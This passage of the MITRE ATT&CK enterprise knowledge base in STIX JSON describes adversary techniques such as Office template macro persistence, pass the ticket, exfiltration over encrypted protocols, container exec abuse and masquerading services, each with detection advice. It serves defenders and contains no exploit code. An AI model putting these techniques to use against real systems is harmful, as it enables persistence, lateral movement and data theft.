Creation","Command: Command Execution","File: File Deletion","Process: OS API Execution","Windows Registry: Windows Registry Key Modification","Network Traffic: Network Traffic Content","File: File Modification"],"x_mitre_defense_bypassed":["Log analysis","Host intrusion prevention systems","Anti-virus"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","type":"attack-pattern","created":"2020-03-15T15:30:42.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1048.001","url":"https://attack.mitre.org/techniques/T1048/001"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-28T00:43:24.228Z","name":"Exfiltration Over Symmetric Encrypted Non-C2 Protocol","description":"Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation","Command: Command Execution"]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21","type":"attack-pattern","created":"2019-11-07T20:29:17.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.001","url":"https://attack.mitre.org/techniques/T1137/001"},{"url":"https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea","description":"Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.","source_name":"Microsoft Change Normal Template"},{"url":"https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office","description":"Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.","source_name":"MSDN VBA in Office"},{"url":"https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/","description":"Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.","source_name":"enigma0x3 normal.dotm"},{"url":"http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/","description":"Hexacorn. (2017, April 17). Beyond good ol’ Run key, Part 62. Retrieved July 3, 2017.","source_name":"Hexacorn Office Template Macros"},{"source_name":"GlobalDotName Jun 2019","url":"https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique","description":"Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019."},{"source_name":"CrowdStrike Outlook Forms","url":"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746","description":"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019."},{"source_name":"Outlook Today Home Page","url":"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943","description":"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019."}],"modified":"2021-08-16T21:27:10.873Z","name":"Office Template Macros","description":"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<br>\n<code>C:\\Users\\&lt;username&gt;\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Creation","File: File Creation","File: File Modification","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","type":"attack-pattern","created":"2020-10-01T00:44:23.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.003","url":"https://attack.mitre.org/techniques/T1583/003"},{"source_name":"TrendmicroHideoutsLease","description":"Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.","url":"https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"},{"source_name":"ThreatConnect Infrastructure Dec 2020","url":"https://threatconnect.com/blog/infrastructure-research-hunting/","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."},{"source_name":"Mandiant SCANdalous Jul 2020","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."},{"source_name":"Koczwara Beacon Hunting Sep 2021","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."}],"modified":"2021-10-17T15:36:59.315Z","name":"Virtual Private Server","description":"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Internet Scan: Response Metadata","Internet Scan: Response Content"]},{"x_mitre_platforms":["SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc","type":"attack-pattern","created":"2020-02-14T13:09:51.004Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1213.001","url":"https://attack.mitre.org/techniques/T1213/001"},{"url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","source_name":"Atlassian Confluence Logging"}],"modified":"2021-06-08T17:08:08.386Z","name":"Confluence","description":"\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux","Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","type":"attack-pattern","created":"2020-01-30T17:03:43.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1550.003","url":"https://attack.mitre.org/techniques/T1550/003"},{"external_id":"CAPEC-645","source_name":"capec","url":"https://capec.mitre.org/data/definitions/645.html"},{"url":"https://adsecurity.org/?p=556","description":"Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.","source_name":"ADSecurity AD Kerberos Attacks"},{"url":"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos","description":"Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.","source_name":"GentilKiwi Pass the Ticket"},{"url":"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf","description":"Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.","source_name":"Campbell 2014"},{"source_name":"Stealthbits Overpass-the-Hash","url":"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/","description":"Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"}],"modified":"2021-08-31T19:56:31.341Z","name":"Pass the Ticket","description":"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Authentication","Active Directory: Active Directory Credential Request","Logon Session: Logon Session Creation"],"x_mitre_defense_bypassed":["System Access Controls"],"x_mitre_system_requirements":["Kerberos authentication enabled"]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Alfredo Oliveira, Trend Micro","David Fiser, @anu4is, Trend Micro","Brad Geesaman, @bradgeesaman","Center for Threat-Informed Defense (CTID)","Magno Logan, @magnologan, Trend Micro","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1","type":"attack-pattern","created":"2021-03-29T16:39:26.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1609","url":"https://attack.mitre.org/techniques/T1609"},{"source_name":"Docker Daemon CLI","url":"https://docs.docker.com/engine/reference/commandline/dockerd/","description":"Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021."},{"source_name":"Kubernetes API","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021."},{"source_name":"Kubernetes Kubelet","url":"https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/","description":"The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021."},{"source_name":"Docker Entrypoint","url":"https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime","description":"Docker. (n.d.). Docker run reference. Retrieved March 29, 2021."},{"source_name":"Docker Exec","url":"https://docs.docker.com/engine/reference/commandline/exec/","description":"Docker. (n.d.). Docker Exec. Retrieved March 29, 2021."},{"source_name":"Kubectl Exec Get Shell","url":"https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/","description":"The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021."}],"modified":"2022-04-01T13:16:14.786Z","name":"Container Administration Command","description":"Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Austin Clark, @c2defense"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","created":"2017-05-31T21:31:04.710Z","x_mitre_version":"1.4","external_references":[{"source_name":"mitre-attack","external_id":"T1083","url":"https://attack.mitre.org/techniques/T1083"},{"source_name":"Windows Commands JPCERT","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"url":"https://capec.mitre.org/data/definitions/127.html","source_name":"capec","external_id":"CAPEC-127"},{"url":"https://capec.mitre.org/data/definitions/497.html","source_name":"capec","external_id":"CAPEC-497"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather file and directory information.(Citation: US-CERT-TA18-106A)","modified":"2022-04-20T18:12:12.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"File and Directory Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather file and directory information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.  ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: OS API Execution","Process: Process Creation","Command: Command Execution"],"x_mitre_system_requirements":["Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Chris Roffe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","type":"attack-pattern","created":"2020-03-10T17:28:11.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568","url":"https://attack.mitre.org/techniques/T1568"},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"},{"source_name":"ESET Sednit 2017 Activity","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."},{"source_name":"Data Driven Security DGA","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."}],"modified":"2022-03-11T18:26:23.782Z","name":"Dynamic Resolution","description":"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","type":"attack-pattern","created":"2020-02-10T20:30:07.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.004","url":"https://attack.mitre.org/techniques/T1036/004"},{"url":"https://technet.microsoft.com/en-us/library/bb490996.aspx","description":"Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.","source_name":"TechNet Schtasks"},{"source_name":"Systemd Service Units","url":"https://www.freedesktop.org/software/systemd/man/systemd.service.html","description":"Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020."},{"url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","source_name":"Palo Alto Shamoon Nov 2016"},{"url":"https://vms.drweb.com/virus/?i=4276269","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","source_name":"Fysbis Dr Web Analysis"}],"modified":"2021-10-18T13:24:52.618Z","name":"Masquerade Task or Service","description":"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Service: Service Metadata","Service: Service Creation","Scheduled Job: Scheduled Job Metadata","Scheduled Job: Scheduled Job Modification"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","type":"attack-pattern","created":"2020-01-14T01:29:43.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.004","url":"https://attack.mitre.org/techniques/T1055/004"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx","description":"Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.","source_name":"Microsoft APC"},{"url":"https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/","description":"Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ Code Injection Technique Discovered. Retrieved May 24, 2018.","source_name":"CyberBit Early Bird Apr 2018"},{"url":"https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows","description":"Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.","source_name":"ENSIL AtomBombing Oct 2016"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx","description":"Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.","source_name":"Microsoft Atom Table"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of 